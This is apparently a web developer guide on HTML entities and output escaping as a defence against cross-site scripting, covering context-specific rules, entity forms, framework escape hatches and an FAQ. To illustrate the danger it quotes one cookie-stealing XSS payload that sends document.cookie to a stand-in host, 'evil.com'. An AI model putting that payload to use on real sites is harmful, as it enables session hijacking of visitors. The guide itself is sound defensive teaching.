What HTML entities are for
Certain characters have structural meaning in HTML. A < starts a tag; an & starts an entity. To display them as literal text rather than have the browser interpret them, they must be replaced by entity references.
The five that matter:
&→&<→<>→>"→"'→'
The ampersand must be encoded first. Encoding it last would corrupt the entities already produced, turning < into &lt;.
This is a security control, not formatting
Escaping is the primary defence against cross-site scripting. If user input is inserted into a page unescaped, anything that looks like a tag becomes one.
A comment containing <script>fetch('//evil.com?c='+document.cookie)</script> rendered unescaped executes in every visitor's browser with full access to the session. Escaped, it displays as harmless text.
The rule is to escape on output, not on input. Store what the user actually typed and escape when rendering. Escaping on input corrupts your data, breaks searching, and fails as soon as the same value is rendered into a different context.
Context determines the escaping
HTML escaping is correct for HTML body content and nothing else. Each context has its own rules:
- HTML body — escape the five characters above.
- Attribute values — escape the same set and always quote the attribute. An unquoted attribute can be escaped by a space.
- Inside <script> — HTML escaping does not apply. Use JSON serialisation, and beware that
</script>inside a string literal terminates the block. - URLs — use percent-encoding, not HTML entities.
- CSS — requires CSS-specific escaping.
Applying HTML escaping in a JavaScript context is a common and exploitable mistake.
Named, numeric, and hexadecimal forms
Entities come in three forms. Named references such as © are readable but limited to a defined list. Decimal numeric references such as © work for any Unicode code point. Hexadecimal references such as © are equivalent and often more convenient when working from Unicode charts.
With UTF-8 as the near-universal encoding, most characters no longer need entities at all — you can write © and é directly. Entities remain necessary for the five structural characters, and useful for invisible characters such as where being explicit prevents confusion.
Use the platform where you can
Modern frameworks escape by default. React, Vue, Angular, and most server-side template engines escape interpolated values automatically, which eliminates the most common source of XSS.
The risk concentrates in the deliberate escape hatches: dangerouslySetInnerHTML, v-html, and direct innerHTML assignment. Those bypass the framework's protection entirely and should be treated as high-risk code.
Where you genuinely need to allow some HTML — a rich text editor, for instance — escaping is the wrong tool. Use a maintained sanitiser such as DOMPurify, which parses the HTML and removes dangerous constructs. Hand-written filters are consistently bypassed.
Frequently asked questions
Which characters must be escaped in HTML?
The five structural ones: ampersand, less-than, greater-than, double quote, and apostrophe. The ampersand must be escaped first, or it will corrupt the entities produced for the others.
Should I escape on input or on output?
On output. Store what the user actually typed and escape when rendering. Escaping on input corrupts your data and fails as soon as the value is rendered into a different context.
Does HTML escaping protect against XSS inside a script tag?
No. HTML escaping applies to HTML contexts only. Inside a script block you need JSON serialisation, and you must also handle the fact that a closing script tag inside a string literal ends the block.
Do I still need entities now that everything is UTF-8?
For the five structural characters, yes. For accented letters and symbols, no - you can write them directly. Entities remain useful for invisible characters such as non-breaking space.